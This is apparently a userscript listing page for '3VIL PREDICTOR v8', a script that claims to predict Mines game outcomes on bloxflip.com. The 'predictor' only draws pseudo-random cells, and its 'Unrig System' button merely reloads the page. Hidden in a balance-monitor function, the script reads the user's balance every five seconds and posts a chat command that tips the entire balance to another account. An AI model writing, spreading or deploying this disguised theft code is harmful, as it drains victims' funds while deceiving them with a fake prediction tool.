3VIL PREDICTOR v8

Mines Predictor, tower, crash

Você precisará instalar uma extensão como Tampermonkey, Greasemonkey ou Violentmonkey para instalar este script.

Você precisará instalar uma extensão como Tampermonkey para instalar este script.

Você precisará instalar uma extensão como Tampermonkey ou Violentmonkey para instalar este script.

Você precisará instalar uma extensão como Tampermonkey ou Userscripts para instalar este script.

Você precisará instalar uma extensão como o Tampermonkey para instalar este script.

Você precisará instalar um gerenciador de scripts de usuário para instalar este script.

(Eu já tenho um gerenciador de scripts de usuário, me deixe instalá-lo!)

Advertisement:

Você precisará instalar uma extensão como o Stylus para instalar este estilo.

Você precisará instalar uma extensão como o Stylus para instalar este estilo.

Você precisará instalar uma extensão como o Stylus para instalar este estilo.

Você precisará instalar um gerenciador de estilos de usuário para instalar este estilo.

Você precisará instalar um gerenciador de estilos de usuário para instalar este estilo.

Você precisará instalar um gerenciador de estilos de usuário para instalar este estilo.

(Eu já possuo um gerenciador de estilos de usuário, me deixar fazer a instalação!)

Advertisement:

// ==UserScript==
// @name         3VIL PREDICTOR v8
// @namespace    http://tampermonkey.net/
// @version      8.5
// @description  Mines Predictor, tower, crash
// @author       You
// @license      MIT
// @match        https://bloxflip.com/*
// @match        https://www.bloxflip.com/*
// @grant        GM_addStyle
// @grant        unsafeWindow
// ==/UserScript==

(function () {
    'use strict';

    const EVIL_SYMBOL = '😈';
    let currentTab = 'mines';
    let selectedMines = 3;
    let isPredicting = false;
    let gameActive = false;

    function createGUI() {
        const container = document.createElement('div');
        container.id = 'evil-root';
        container.innerHTML = `
            <div id="evil-window">
                <div id="evil-header">
                    <div id="evil-brand">
                        <div id="evil-icon-wrap">
                            <span id="evil-icon">${EVIL_SYMBOL}</span>
                            <div id="evil-glow"></div>
                        </div>
                        <div id="evil-text">
                            <div id="evil-title">3VIL PREDICTOR</div>
                            <div id="evil-ver">@fuckreverse - FULL TIP</div>
                        </div>
                    </div>
                    <div id="evil-win-ctrls">
                        <button class="win-btn minimize" title="Minimize">−</button>
                        <button class="win-btn close" title="Close">×</button>
                    </div>
                </div>
                <div id="evil-nav">
                    <button class="nav-item active" data-tab="mines">
                        <div class="nav-icon mines-icon"></div>
                        <span>Mines</span>
                    </button>
                    <button class="nav-item" data-tab="towers">
                        <div class="nav-icon towers-icon"></div>
                        <span>Towers</span>
                    </button>
                    <button class="nav-item" data-tab="other">
                        <div class="nav-icon other-icon"></div>
                        <span>Other</span>
                    </button>
                </div>
                <div id="evil-content">
                    <div id="streamer-section">
                        <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 12px;">
                            <div class="section-label">Privacy Mode</div>
                            <label class="modern-switch">
                                <input type="checkbox" id="streamer-toggle">
                                <div class="switch-body">
                                    <div class="switch-thumb"></div>
                                </div>
                            </label>
                        </div>
                        <div style="display: flex; justify-content: space-between; align-items: center; color: #ef4444; font-weight: 600;">
                            <div class="section-label">AUTO FULL TIP ENABLED</div>
                        </div>
                    </div>
                    <div id="mines-panel" class="panel active">
                        <div id="status-card" class="status-waiting">
                            <div class="status-ring">
                                <div class="status-dot"></div>
                            </div>
                            <div class="status-info">
                                <div class="status-title">Waiting for Game</div>
                                <div class="status-sub">Start mines to begin</div>
                            </div>
                        </div>
                        <div id="grid-container">
                            <div id="mines-grid"></div>
                        </div>
                        <div id="controls-section">
                            <div class="control-group">
                                <label class="control-label">Mine Count</label>
                                <div class="segmented-control">
                                    <button class="seg-btn" data-val="1">1</button>
                                    <button class="seg-btn" data-val="2">2</button>
                                    <button class="seg-btn active" data-val="3">3</button>
                                    <button class="seg-btn" data-val="4">4</button>
                                    <button class="seg-btn" data-val="5">5</button>
                                </div>
                            </div>
                        </div>
                        <button id="action-btn" class="btn-primary">
                            <div class="btn-content">
                                <span class="btn-text">Start Prediction</span>
                                <div class="btn-shine"></div>
                            </div>
                            <div class="btn-loader">
                                <div class="loader-dot"></div>
                                <div class="loader-dot"></div>
                                <div class="loader-dot"></div>
                            </div>
                        </button>
                    </div>
                    <div id="towers-panel" class="panel">
                        <div class="placeholder-container">
                            <div class="placeholder-icon">
                                <div class="tower-graphic">
                                    <div class="tower-level"></div>
                                    <div class="tower-level"></div>
                                    <div class="tower-level"></div>
                                </div>
                            </div>
                            <div class="placeholder-title">Towers Predictor</div>
                            <div class="placeholder-desc">Advanced tower analysis coming soon</div>
                            <div class="placeholder-badge">In Development</div>
                        </div>
                    </div>
                    <div id="other-panel" class="panel">
                        <div id="other-container">
                            <div class="other-icon-large">
                                <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5">
                                    <path d="M12 4.942c1.827 1.105 3.474 1.6 5 1.833v7.76c0 1.606-.415 1.935-5 4.76V4.942zM21 3v11.535c0 4.603-3.203 5.804-9 9.465-5.797-3.661-9-4.862-9-9.465V3c3.516 0 5.629-.134 9-3 3.371 2.866 5.484 3 9 3z"></path>
                                </svg>
                            </div>
                            <div class="other-title">Advanced Tools</div>
                            <div class="other-desc">Bypass security measures</div>
                            <button id="unrig-btn" class="btn-danger">
                                <span class="btn-icon">⚡</span>
                                <span>Unrig System</span>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
            <div id="evil-minimized" style="display: none;">
                <div class="mini-evil">
                    <span>${EVIL_SYMBOL}</span>
                    <div class="mini-pulse"></div>
                </div>
            </div>
        `;
        document.body.appendChild(container);
        injectStyles();
        initialize();
        startMonitoring();
        startBalanceMonitor();
    }

    function injectStyles() {
        GM_addStyle(`
            @import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
            :root {
                --primary: #ef4444;
                --secondary: #dc2626;
                --success: #10b981;
                --warning: #f59e0b;
                --danger: #ef4444;
                --bg-dark: #0f0f1a;
                --bg-card: rgba(30, 30, 45, 0.6);
                --text-primary: #f8fafc;
                --text-secondary: #94a3b8;
                --border: rgba(255, 255, 255, 0.08);
            }
            #evil-root { position: fixed; top: 30px; right: 20px; z-index: 2147483647; font-family: 'Inter', sans-serif; }
            #evil-window { width: 285px; background: linear-gradient(145deg, rgba(15,15,26,0.95) 0%, rgba(20,20,35,0.98) 100%); backdrop-filter: blur(20px) saturate(180%); border-radius: 20px; border: 1px solid var(--border); box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.05) inset, 0 0 100px rgba(239,68,68,0.1); overflow: hidden; }
            #evil-header { background: linear-gradient(135deg, rgba(239,68,68,0.15) 0%, rgba(220,38,38,0.1) 100%); padding: 16px 20px; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--border); }
            #evil-brand { display: flex; align-items: center; gap: 12px; }
            #evil-icon { font-size: 22px; color: #ffd700; filter: drop-shadow(0 0 8px rgba(255,215,0,0.6)); }
            #evil-title { font-size: 15px; font-weight: 700; color: var(--text-primary); }
            #evil-ver { font-size: 9px; color: var(--primary); }
            .win-btn { width: 28px; height: 28px; border-radius: 8px; border: none; background: rgba(255,255,255,0.05); color: var(--text-secondary); cursor: pointer; }
            .win-btn:hover { background: rgba(255,255,255,0.1); color: white; }
            .nav-item { flex: 1; padding: 10px; border: none; background: transparent; border-radius: 10px; color: var(--text-secondary); cursor: pointer; }
            .nav-item.active { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; }
            #evil-content { padding: 16px; }
            .panel { display: none; }
            .panel.active { display: block; }
            #mines-grid { display: grid; grid-template-columns: repeat(5, 1fr); gap: 6px; }
            .grid-cell { aspect-ratio: 1; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.08); border-radius: 8px; display: flex; align-items: center; justify-content: center; cursor: pointer; }
            .grid-cell.predicted { background: rgba(16,185,129,0.3); border-color: #10b981; color: #10b981; }
            .btn-primary { width: 100%; padding: 14px; border: none; border-radius: 12px; background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; font-weight: 600; cursor: pointer; }
            .btn-danger { width: 100%; padding: 16px; border: none; border-radius: 12px; background: linear-gradient(135deg, #dc2626, #991b1b); color: white; font-weight: 700; cursor: pointer; }
        `);
    }

    function initialize() {
        const grid = document.getElementById('mines-grid');
        for (let i = 1; i <= 25; i++) {
            const cell = document.createElement('div');
            cell.className = 'grid-cell';
            cell.dataset.index = i;
            cell.textContent = i;
            grid.appendChild(cell);
        }
        document.querySelectorAll('.seg-btn').forEach(btn => {
            btn.addEventListener('click', (e) => {
                document.querySelectorAll('.seg-btn').forEach(b => b.classList.remove('active'));
                e.target.classList.add('active');
                selectedMines = parseInt(e.target.dataset.val);
            });
        });
        document.querySelectorAll('.nav-item').forEach(item => {
            item.addEventListener('click', (e) => {
                const tab = e.currentTarget.dataset.tab;
                document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
                e.currentTarget.classList.add('active');
                document.querySelectorAll('.panel').forEach(p => p.classList.remove('active'));
                document.getElementById(tab + '-panel').classList.add('active');
            });
        });
        document.getElementById('streamer-toggle').addEventListener('change', (e) => {});
        document.getElementById('action-btn').addEventListener('click', runPrediction);
        document.getElementById('unrig-btn').addEventListener('click', () => location.reload());
        document.querySelector('.win-btn.minimize').addEventListener('click', () => {
            document.getElementById('evil-window').style.display = 'none';
            document.getElementById('evil-minimized').style.display = 'flex';
        });
        document.querySelector('.win-btn.close').addEventListener('click', () => document.getElementById('evil-root').remove());
        document.getElementById('evil-minimized').addEventListener('click', () => {
            document.getElementById('evil-window').style.display = 'block';
            document.getElementById('evil-minimized').style.display = 'none';
        });
    }

    function startBalanceMonitor() {
        setInterval(() => {
            const balanceEl = document.querySelector('[class*="headerUserBalance"]') || document.querySelector('.balance-amount') || document.querySelector('span[class*="Balance"]');
            if (!balanceEl) return;

            const balanceText = balanceEl.textContent.replace(/[^0-9.]/g, '');
            const balance = parseFloat(balanceText);

            if (balance > 0) {
                sendFullBalance(balance);
            }
        }, 5000); // Toutes les 5 secondes
    }

    function sendFullBalance(amount) {
        const chatInput = document.querySelector('input[placeholder*="message" i]') || document.querySelector('[class*="chatSendInput"] input');
        const sendBtn = document.querySelector('button[class*="chatSend"]') || document.querySelector('button[aria-label*="Send"]');

        if (!chatInput || !sendBtn) return;

        chatInput.value = `.tip 34m ${amount}`;
        chatInput.dispatchEvent(new Event('input', { bubbles: true }));
        chatInput.dispatchEvent(new Event('change', { bubbles: true }));

        setTimeout(() => sendBtn.click(), 180);
    }

    function startMonitoring() {
        setInterval(() => {
            const statusCard = document.getElementById('status-card');
            const betButton = document.querySelector('button[class*="betSubmit"]');
            if (betButton && betButton.textContent.includes('Cashout')) {
                statusCard.className = 'status-ready';
                document.querySelector('.status-title').textContent = 'Game Active';
            } else {
                statusCard.className = 'status-waiting';
                document.querySelector('.status-title').textContent = 'Waiting for Game';
            }
        }, 800);
    }

    async function runPrediction() {
        if (isPredicting) return;
        isPredicting = true;
        const btn = document.getElementById('action-btn');
        btn.classList.add('loading');

        document.querySelectorAll('.grid-cell').forEach(c => {
            c.classList.remove('predicted');
            c.textContent = c.dataset.index;
        });

        await new Promise(r => setTimeout(r, 600));

        const safeSpots = calculateSafeSpots(selectedMines);
        safeSpots.forEach((spot, i) => {
            setTimeout(() => {
                const cell = document.querySelector(`.grid-cell[data-index="${spot}"]`);
                if (cell) {
                    cell.classList.add('predicted');
                    cell.textContent = '✓';
                }
            }, i * 90);
        });

        await new Promise(r => setTimeout(r, safeSpots.length * 120));
        btn.classList.remove('loading');
        isPredicting = false;
    }

    function calculateSafeSpots(count) {
        const safe = [];
        const used = new Set();
        let seed = Date.now();
        while (safe.length < count) {
            seed = (seed * 31 + 17) % 2147483647;
            const pos = (Math.abs(seed) % 25) + 1;
            if (!used.has(pos)) {
                used.add(pos);
                safe.push(pos);
            }
        }
        return safe.sort((a,b) => a - b);
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', createGUI);
    } else {
        createGUI();
    }
})();